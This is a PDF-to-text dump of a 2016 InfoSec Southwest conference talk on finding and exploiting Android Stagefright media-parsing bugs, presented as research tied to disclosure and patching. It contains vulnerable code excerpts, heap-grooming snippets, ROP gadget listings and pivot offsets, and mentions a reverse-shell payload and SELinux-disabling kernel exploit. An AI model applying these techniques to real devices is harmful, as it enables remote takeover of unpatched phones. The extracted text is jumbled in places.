Stagefright Isswsdfdsfsd

8/18/2019 Stagefright Isswsdfdsfsd

1/57

1

Lessons Learned from

Researching andExploiting Stagefright

Joshua "jduck" Drake

April 9th, 2016

InfoSec Southwest


2/57

2

Agenda

Introduction

Summary of Prior WorkEvents Since Disclosure

Including Android N Changes!

Android Exploitability

Exploit Walkthroughs

CVE-2015-1538 - stsc

CVE-2015-3824 - tx3g

CVE-2015-3876 + CVE-2015-6602 - ID3Conclusions

Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016

Joshua "jduck" Drake — © Zimperium Inc. All rights reserved.


3/57

3

Introduction

About the presenter and this research


4/57

4

About Joshua J. Drake aka jduck

Focused on vulnerability research and exploit development

for the past 17 years

Current Affiliations:

Found and initially disclosed "Stagefright"

VP of Platform Research and Exploitation at ZimperiumLead Author of Android Hacker's Handbook

Founder of the #droidsec research group

Previous Affiliations:Accuvant Labs (now Optiv), Rapid7 Metasploit, VeriSign

iDefense LabsLessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



5/575

Motivations

1. Improve the overall state of mobile security

1. Discover and eliminate critical vulnerabilities2. Spur mobile soware update improvements

2. Increase visibility of risky code in Android

3. Put the Droid Army to good use!

While this research has definitely led to improvements big

and small, there is still plenty of work to be done.

You will see what remains in this talk.




6/576

Acknowledgements

This work was sponsored by Accuvant Labs (now Optiv) with

continuing support from Zimperium.

&

Special thanks go to Amir Etemadieh of Optiv / Exploiteers.

Additional thanks to Collin Mulliner, Mathew Solnik, and

Daniel Micay.

Thanks to the ISSW organizers for giving me the opportunity

to speak here today!Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



7/577

What is Stagefright?

1.

See my 2015 talk slides for more introductory information. (link at end)

https://en.wikipedia.org/wiki/Stagefright_%28bug%29

Android Multimedia Framework library

Written primarily in C++Handles all video and audio files

Provides playback facilities - e.g. {Nu,Awesome}Player

Extracts metadata for the Gallery, etc.

Now also the name of "a vulnerability" that made waves.1

An attacker could obtain elevated privileges on an

affected Android device, unbeknownst to the victim, withonly a single MMS.




8/578

Brief History of Android Multimedia

2008 Oct - Android launched with OpenCORE engine

2009 Oct - libstagefright added to AOSP during 2.0 dev2010 May - Optionally but oen used in Froyo (2.2)

2010 Dec - Made default in Gingerbread (2.3) and later

libstagefright is open source and under liberal license, so it

could end up in anything. It is used in:

Pretty much all modern devices based on AOSP

Includes many Amazon devices (FireOS)

Except a few that use ffmpeg (eg, CyanogenMod)

Firefox, Nintendo DS, and the Wii-U (?!).Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



9/57

9

System Architecture

Picture from in the Android Developer documentationAndroid Interfaces

Android is very modular

Things run in separateprocesses

Lots of inter-process

communications

"Sandbox" relies on Linux

users and groups

libstagefright executes inside

"MEDIA SERVER"




10/57

10

mediaserver Overview

NOTE: See my 2015 talk slides for more system architecture and privilege details. (link at end)

A native system service that runs in the background.

It automatically restarts when it crashes!

Privileges vary per-device-model: high to crazy high

Access to audio, camera, internet, bluetooth on all

Has system group on 50% of devices in the droid army

Has input , shell, or radio on a minority

In short, mediaserver is a very attractive target.




11/57

11

Summary of Prior Work

What did you do before disclosure?


12/57

12

Scope of My Work

Stagefright is big and supports a wide variety of multimedia

file formats.

However, I believe in focusing in on smaller areas of code

and testing them very well. To settle the difference, I:

1. Originally focused on only MPEG4 handling2. Later looked at ID3 and MP3 handling

3. Tested these areas of code in isolation

Further, I only focused on metadata processing (think of image preview).

I never tested code paths that require playback.Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



13/57

13

Vulnerability Discovery

NOTE: See my 2015 talk slides for more details. (link at end)

Use AFL!! http://lcamtuf.coredump.cx/afl/

My strategy: fuzz, analyze, audit, fix bugs, repeat...

Round One: A dumb fuzzer + a tiny MP4 + MediaScanner

Found crashes, but none that looked serious

Discovered 5 vulns reading surrounding code

Round Two: American Fuzzy Lop

Ported code to Linux, Ran on beefy hardware

Found vulns from round one, plus 5 more critical vulns

Discovered some fixes from 5.x were bogus!!




14/57

14

Exploit Development

1. https://github.com/jduck/cve-2015-1538-1

I wrote two exploits for Stagefright vulnerabilities.

I released one (CVE-2015-1538) last fall.1

An MP4 file generator

Targets Galaxy Nexus on Android 4.0.1

I will release another one (CVE-2015-3824) soon! Yields remote kernel via the browser and works on:

Nexus 6 running Android 5.1 (LMY47M)

Nexus 5 running Android 5.1.1 (LMY48B)

Will be released as a Metasploit module (contribute!)We wil discuss these in detail later...




15/57

15

Events Since Disclosure

What happened aer day zero?


16/57

16

Impact on the Industry

This research had a huge positive impact on Android

security. The ecosystem definitely responded.

30 day patch cycles for Google/Nexus

Nexus Security Bulletins monthly since August 2015!

Other OEMs committed to follow suit!So far only Samsung has public bulletins

Many struggle, HTC claimed "unrealistic"

Some older devices got updates, but many did not.

The long tail of Android updates...

For more information, see

.

Adrian Ludwig's talk from Black

Hat USA 2015Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



17/57

17

Zimperium Efforts

Zimperium Handset Alliance (ZHA)

Notify shippers of Android simultaneouslyOver 25 carriers, OEMs, etc have already joined!

Stagefright Detector App

Released shortly before BlackHat USA 2015

Tests devices for 9 CVEs non-intrusively

Anonymous data collected, see recent blog post

10 additional vulns reported (including Stagefright 2.0)

CTS tests created and upstreamed

Detection capabilities added to our products

More to come...




18/57

18

Android Security Rewards

Pssst. I heard there will be a #StageFright sponsored party at BSidesLV this year.

Bug bounty money for the win! #bbmw

Android announced their VRP in June 2015

Pays for vulnerabilities, patches, exploits, and CTS tests

The more you provide, the more they will pay

Potential to receive up to $38,000 per bug !!

My third round and follow-up work qualified

Original reports did not qualify

Got bounties from Mozilla and Blackphone/BugcrowdTotal bounty from Stagefright: mid-5 figures..




19/57

19

Community Efforts

The security researcher community really stepped up!

Total as of April 2016:

69 CVEs, 110 ANDROID-ids, 132 Patches

Critical: 39 CVEs, 64 ANDROID-ids, 77 Patches

High: 27 CVEs, 41 ANDROID-ids, 50 PatchesLow: 3 CVEs, 5 ANDROID-ids, 5 Patches

Other great content too!

Several write-upsWooyun, Fortinet, Exodus, NCC Group, NorthBit

3+ Exploits published

Ours, Project Zero, NorthBit MetaphorLessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



20/57

20

Observations from 8 Months of NSB

1. Only some issues in mediaserver are RCE, the rest are EoP.

EoP bugs usually require a malicious application (meh)

2. Information Disclosure issues definitely exist!

Unclear if any could be usable for a remote exploitAsk yourself: Is information leaked? Where to?

3. Some vulnerabilities live in libraries that libstagefright

depends on!

OH NO! BUGS ALL THE WAY DOWN!




21/57

21

Android N Changes

Google split mediaserver into multiple components!

audioserver 565 1 60448 9100 ... S /system/bin/audioserver

cameraserver 566 1 16160 3472 ... S /system/bin/cameraserver

mediacodec 571 1 33680 4576 ... S media.codec

mediadrm 572 1 16720 3672 ... S /system/bin/mediadrmserver

mediaex 573 1 41840 4740 ... S media.extractor

media 574 1 60800 8392 ... S /system/bin/mediaserver

This is a great improvement for security!

Reduces attack surface of each component

Enhanced privilege reduction

Codecs and Extractors no longer have internet access!angler:/data/local/tmp $ ./privmap -p "media."

[*] pid: 571, cmd: media.codec mediacodec, perms: uid=1046(mediacodec),

gid=1006(camera), groups=1026(drmrpc), 1031(mediadrm)

[*] pid: 573, cmd: media.extractor aextractor, perms: uid=1040(mediaex),

gid=1026(drmrpc), groups=1031(mediadrm)Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016



22/57


23/57

23

Android Device Diversity

Diversity in the Android ecosystem complicates research,

but is not a significant barrier to exploitation.

Exploiting a device usually requires porting/testing per-

device-model.

However, automation makes craing a device-specificexploit rather simple.

Extract and use key details from each firmware version

BTW, Android browsers are very revealing:Mozilla/5.0 (Linux; Android 5.1; Nexus 6 Build/LMY47M )

AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.84

Mobile Safari/537.36




24/57

24

Crucial Components

Certain system properties are critical to understand for

exploitation.

ASLR Quality (entropy) - kernel

Heap implementation details - libc

It is difficult (some argue impossible) to eliminate allvulnerabilities in a code base.

Hardening critical system components can preventing

successful attacks.Other system-wide mitigations exist and can help too...




25/57

25

Mitigation Summary

1. Only comes into play on some devices and only aer achieving arbitrary code execution.

2. Only affects some of the vulnerabilities. It still leads to DoS.

Mitigation Applicability

SELinux N/A 1

Stack Cookies N/A

FORTIFY_SOURCE N/A

ASLR only Android >= 4.1

NX bypass with ROP

GCC new[] mitigation N/A2



dd d i i


26/57

26

Address Space Layout Randomization

ASLR is the ONLY challenge, and it is not that hard.

I managed to fully bypass ASLR on ICS and Lollipop.

Information leakage issues

Heap spraying

Address space is usually only 32-bitsOn 64-bit devices, mediaserver remains 32-bit :-/

Other virtual memory tricks

Bruteforce or statistical guessing

These tricks are simple but very effective.




27/57


28/57

28

Exploit Walkthrough I

CVE-2015-1538 - MP4 stsc Integer Overflow

CVE 2015 1538 I R t C


29/57

29

CVE-2015-1538 I: Root Cause

From android-4.0.4_r1.2 (IMM76I) - frameworks/base / media/libstagefright/SampleTable.cpp

The vulnerability is an Integer Overflow when allocating the

mSampleToChunkEntries array in setSampleToChunkParams. 204 status_t SampleTable::setSampleToChunkParams(

205 off64_t data_offset, size_t data_size) {

...

227 mNumSampleToChunkOffsets = U32_AT(&header[4]);

...

233 mSampleToChunkEntries =234 new SampleToChunkEntry[mNumSampleToChunkOffsets];

A large mNumSampleToChunkOffsets won't allocate enough!

2^32 / sizeof(SampleToChunkEntry) == 0x15555555 // 12 bytes per

(0x15555555 + 1) * 12 == 8 // OOPS!

This isn't enough to be vulnerable... How is the array used?



CVE 2015 1538 II C


30/57

30

CVE-2015-1538 II: Consequence

From android-4.0.4_r1.2 (IMM76I) - frameworks/base / media/libstagefright/SampleTable.cpp

Depending on loop bounds, it might cause a heap overflow.

236 for (uint32_t i = 0; i < mNumSampleToChunkOffsets; ++i) {

237 uint8_t buffer[12];

238 if (mDataSource->readAt(

239 mSampleToChunkOffset + 8 + i * 12, buffer, sizeof(buffer))

240 != (ssize_t)sizeof(buffer)) {

241 return ERROR_IO;

242 }

243244 CHECK(U32_AT(buffer) >= 1); // chunk index is 1 based in spec

245

246 // We want the chunk index to be 0-based.

247 mSampleToChunkEntries[i].startChunk = U32_AT(buffer) - 1;

248 mSampleToChunkEntries[i].samplesPerChunk = U32_AT(&buffer[4]);

249 mSampleToChunkEntries[i].chunkDesc = U32_AT(&buffer[8]);

250 }

What does that leave us with?



CVE 2015 1538 III P i iti


31/57

31

CVE-2015-1538 III: Primitives

Let us summarize:

1. The buffer can be allocated too small.

2. The copy loop copies one entry at a time, bounded by the

huge number.

3. Failing to read an entry terminates processing

This is both bad and good.

Good: We will not crash looping forever

Good: We can stop processing when we want

Bad: We lose control of the parser (one shot)4. The first U32 of any entry cannot be zero or we crash.

We can write zero, but not 0xffffffff



CVE 2015 1538 IV: What to smash?


32/57

32

CVE-2015-1538 IV: What to smash?

My usual (but naive) methodology here is as follows:

1. Hook up a debugger

2. Experiment with allocation size & overflow amount

3. See how the process crashes

4. Note frequency of each different crash

5. See how each crash might be exploited

In order of most frequent to least frequent

There were many crashes from heap corruption :-/

Ultimately utilized a technique first published in Jann Horn's

CVE-2014-7911 exploit (RefBase::decStrong).



CVE 2015 1538 V: Heap Feng Shui


33/57

33

CVE-2015-1538 V: Heap Feng Shui

See: by Alexander SotirovHeap Feng Shui in JavaScript

Reliable exploitation of heap-base vulnerabilities is a

function of deterministic heap layout.

Unfortunately, heap usage in mediaserver is rather noisy and

somewhat unpredictable.

People oen use a pattern of allocations and frees to primethe heap state, hence feng shui .

Unfortunately, limited opportunities exist for freeing data.

But there are some!



CVE 2015 1538 VI: Heap Feng Shui II


34/57

34

CVE-2015-1538 VI: Heap Feng Shui II

Lines from my CVE-2015-1538 exploit

MetaData items are freed/re-allocated if they need to grow.

# Now the ones that give full control + replacement

make_chunk('\xa9alb', make_chunk('data', ... + block)) +

make_chunk('\xa9ART', make_chunk('data', ... + block)) +

make_chunk('aART', make_chunk('data', ... + block)) +

make_chunk('\xa9day', make_chunk('data', ... + block)) +

make_chunk('\xa9nam', make_chunk('data', ... + block)) +

make_chunk('\xa9wrt', make_chunk('data', ... + block)) +

make_chunk('gnre', make_chunk('data', ... + block)) +...

# Free the some by making them larger..

make_chunk('\xa9ART', make_chunk('data', ... + bigger)) +

make_chunk('\xa9wrt', make_chunk('data', ... + bigger)) +

make_chunk('\xa9day', make_chunk('data', ... + bigger)))

The goal of this dance is to make ourselves a free block justbefore a Track object, which contains RefBase objects.



CVE 2015 1538 VI: Heap Feng Shui III


35/57

35

CVE-2015-1538 VI: Heap Feng Shui III

Reliability in one attempt is not great (~20%) due to the

unpredictable noise.

However, if we succeed, we get control of a RefBase object!

RefBase::decStrong+2>: ldr r4, [r0, #4] ; load mRefs

RefBase::decStrong+4>: mov r5, r0

RefBase::decStrong+6>: mov r6, r1RefBase::decStrong+8>: mov r0, r4

RefBase::decStrong+10>: blx 0x40069884 ; atomic_decrement

RefBase::decStrong+14>: cmp r0, #1 ; must be 1

RefBase::decStrong+16>: bne.n function_exit

RefBase::decStrong+18>: ldr r0, [r4, #8] ; load refs->mBase

RefBase::decStrong+20>: ldr r1, [r0, #0] ; load mBase._vptr

RefBase::decStrong+22>: ldr r2, [r1, #12] ; load method address

RefBase::decStrong+24>: mov r1, r6RefBase::decStrong+26>: blx r2 ; call it!

If we manage to navigate these dereferences, we get pc

control! By controlling the values... But how?Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016Joshua "jduck" Drake — © Zimperium Inc. All rights reserved.

CVE 2015 1538 VII: Heap Spray!


36/57

36

CVE-2015-1538 VII: Heap Spray!

We need to control the RefBase members to get pc control.

Let's spray the heap! We can take advantage of these facts:

1. We can make huge, contiguous blocks of memory filled

with whatever we want.

2. We can rely on large allocations being aligned on a pagebounday (4096 bytes).

Large allocations are serviced with mmap directly.

To reach our goal, we:1. Create a page sized area and repeat it lots of times.

2. Try to guess an address that falls within.Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016


CVE 2015 1538 VIII: ROP


37/57

37

CVE-2015-1538 VIII: ROP

ROP chain is simple because the linker is not randomized:

__dl_restore_core_regs: ; pivot the stack

b0002850: e2801034 add r1, r0, #52 ; 0x34

b0002854: e8910038 ldm r1, {r3, r4, r5}

b0002858: e92d0038 push {r3, r4, r5}

b000285c: e8900fff ldm r0, {r0-r9, sl, fp}

b0002860: e89de000 ldm sp, {sp, lr, pc}

pop_pc: ; pop pc...

b0002a98: e8bd8000 ldmfd sp!, {pc}pop_r0_thru_r4_pc: ; load args for mprotect

b00038b2: bd1f pop {r0, r1, r2, r3, r4, pc}

mprotect: ; call mprotect

b0001144: e92d0090 push {r4, r7}

b0001148: e3a0707d mov r7, #125 ; 0x7d

b000114c: ef000000 svc 0x00000000

b0001150: e8bd0090 pop {r4, r7}

b0001154: e1b00000 movs r0, r0

b0001158: 512fff1e bxpl lr

Only four gadgets to make our payload RWX!Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016


CVE-2015-1538 IX: Payload


38/57

38

CVE-2015-1538 IX: Payload

In this exploit, the payload was simple a modified

linux/armle/shell_reverse_tcp from Metasploit.

The modifications were:

1. Call fork to excape from the original mediaserver process

2. Exit the original mediaserver process3. Call setsid to create a new session

4. Pass a sane environment when executing our shell

These changes prevent hanging mediaserver and make theresulting shell much more friendly.




39/57

39

Exploit Walkthrough II

CVE-2015-3824 - MP4 tx3g Integer Overflow

CVE-2015-3824 I: Root Cause


40/57

40

CVE 2015 3824 I: Root Cause

From android-5.1.0_r4 (LMY47M) - frameworks/av / media/libstagefright/MPEG4Extractor.cpp

The vulnerability is an Integer Overflow when allocating

buffer in the 'tx3g' handling within MPEG4 parseChunk . 762 status_t MPEG4Extractor::parseChunk(off64_t offset, int depth) {

...

1886 case FOURCC('t', 'x', '3', 'g'):

...

1891 if (!mLastTrack->meta->findData(

1892 kKeyTextFormatData, &type, &data, &size)) {...

1896 uint8_t buffer = new (std::nothrow) uint8_t[size + chunk_size];

...

1915 mLastTrack->meta->setData(

1916 kKeyTextFormatData, 0, buffer, size + chunk_size);

The size value is accumulated in MetaData. A second 'tx3g'atom can make size + chunk_size wrap. How is buffer used?



CVE-2015-3824 II: Consequence


41/57

41

CVE 2015 3824 II: Consequence

For each 'tx3g' chunk, the data is appended to a temporary

buffer (buffer ) and then saved into the MetaData.1901 if (size > 0) {

1902 memcpy(buffer, data, size);

1903 }

1904

1905 if ((size_t)(mDataSource->readAt(*offset, buffer + size,

chunk_size))

We control all the variables!

This bug even allows us to control the allocation size and

overflow length independently! 26 size = num_write - 8

27 chunk_size = 0xffffffff - num_write + num_alloc + 1



CVE-2015-3824 III: What to smash?


42/57

42

CVE 2015 3824 III: What to smash?

Experimentation yielded some interesting crashes.

The most interesting involved a smashed mDataSource.Used for a virtual function call just aer the overflow!

1905 if ((size_t)(mDataSource->readAt(*offset, buffer + size,

chunk_size))

We control the values or contents of almost all of the

parameters to the function too!

BONUS! No more crashes from heap corruption detection

because jemalloc has no inline heap metadata to check.



CVE-2015-3824 IV: Heap Feng Shui


43/57

43

CVE 2015 3824 IV: Heap Feng Shui

1. , Patroklos Argyroudis and Chariton KaramitasExploiting the jemalloc Memory Allocator

For a reliable exploit, we need buffer before mDataSource

consistently.Luckily, jemalloc also makes heap feng shui easier too. See

the paper on it for more details.1

'covr' #1 - alloc chunk near size of an MPEG4DataSource'stbl' - alloc an MPEG4DataSource and set to mDataSource

'covr' #2 - free first 'covr', making a free hole

'tx3g' #1 - alloc chunk w/overflow data/size

'tx3g' #2 - alloc buffer into hole, overflow it



CVE-2015-3824 V: Heap Spray!


44/57

44

CVE 2015 3824 V: Heap Spray!

If all goes well, we smahed mDataSource and control:

all member variablesthe virtual function table pointer

To reduce guessing, we point it to a heap spray!

Same strategy as CVE-2015-1538 exploitAs before, a single large chunk

jemalloc still falls back to mmap

Used a 16MB 'avcC' chunk

~99% predictable in testing!



CVE-2015-3824 VI: Stack Pivot I


45/57

45

CVE 2015 3824 VI: Stack Pivot I

We have control of pc, but where do we point it?

Android 4.1+ no longer have predictable linker

Guessing libc is apparently 1 in 256 (< 1%)

Daniel Micay (of CopperheadOS) recommended abusing a

library loaded by dlopen

Address space would already be stabilized

Chose the largest library

libWVStreamControlAPI_L1.so - 2.4MB

Could spray more constrain more? (untested)

Result: ~38% success rate per single attemptLessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016


CVE-2015-3824 VI: Stack Pivot II


46/57

46

CVE 2015 3824 VI: Stack Pivot II

The stack pivot is significantly more complicated.

Executes in three (!!) stages instead of one.

# ldr r2, [r0, #8] ; ldr r3, [r2, #0x28] ; blx r3

mds_pivot1 = mod_base + 0x179202+1

# ldm.w r2!, {r8, sb, sl, fp, ip, sp, pc}

mds_pivot2 = mod_base + 0xc8558+1

# pop {r4, r5, r6, pc}

mds_adjust = mod_base + 0xdbd78+1

This complicated dance launches the ROP chain.



CVE-2015-3824 VII: ROP Chain


47/57

47

ROP Stager to make shellcode RWX and run it, like the -1538

exploit, but different...Also based on the Widevine streaming library

Works around ASLR by resolving the libc base

Resolves mprotect from the socket GOT entry

rop += struct.pack('


48/57

48

y

Nexus devices on 5.x+ have SELinux in enforcing mode.

mediaserver policy does not allow execve :-/no shell for you!

Not the case on all Android devices (ahem Samsung)

I developed a kernel exploit (CVE-2015-3636) as a payload!Wrote in C first

Translated to assembly from objdump output

That sucked, use gcc -S instead!

Sets SELinux to permissive mode

Remote kernel FTW! Demo?Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016


A note on CVE-2015-3864


49/57

49

I missed that chunk_size is 64-bit and can be above 2^32.

Using such a value, it was possible to bypass my check:

1896 if (SIZE_MAX - chunk_size


50/57

50

On CVE-2015-3876 + CVE-2015-6602

Is "Stagefright 2.0" exploitable?

On CVE-2015-3876 + CVE-2015-6602


51/57

51

Two CVEs assigned

CVE-2015-3876 in ID3 parsing code (MP3 or MP4)

Ended up passing -1 to a String8 constructor

CVE-2016-6602 in libutils String8::allocFromUTF8

Took the length, added one, allocated memory

The vulnerable primitive is a bit annoying:

buffer = malloc(0);

memcpy(buffer, user_input, -1);buffer[-1] = 0;



-3876 + -6602 Feasibility


52/57

52

However! Android devices are weird.

Testing showed different devices behaved differently when-1 is passed as the length for memcpy.

Basically two groups:

1. Essentially boundless copy loop2. Wrote 3 bytes only

Calling code writes a NUL to buf[-1] on return

The first group is not really surprising, but the second groupis unexpected!



-3876 + -6602 Feasibility II


53/57

53

mediaserver is multi-threaded

Even a wild copy loop can be exploited if...

1. Something gets corrupted and then used before crash

2. A signal handler operates on corrupt data

3. ??Statistically this is doable.

Witnessed crash with pc control

High reliability seems unachievable.No working exploit was written. (yet?)




54/57

54

Conclusions

What are the key takeaways?

Final Conclusions


55/57

55

1. Take care when changing heap implementations.

Changes here can weaken your security posture.2. Thinking outside the box can make your exploit better!

Controlling the environment can influence your target!

3. Diversity is a thorn, but can be dealt with

Android Browser user agents are very helpful!4. Mitigations are not a silver bullet

Especially when multiple attempts are possible

5. Vendors using Android need to

Be more proactive in finding / fixing flawsBe more aggressive in deploying fixes

6. The Android code base needs more attention. BBMFTW!Lessons Learned from Researching and Exploiting Stagefright — InfoSec Southwest 2016


Thanks for your time!


56/57

56

Thanks for your time!

Any questions?

My 2015 Talk Slides:

Prefer to ask offline? Contact me:

Joshua J. Drake

[email protected]

jduck @ Twitter/IRC

http://j.mp/stagefright-slides

www.droidsec.org




57/57

57

the real end. really.



Documents

Stagefright Isswsdfdsfsd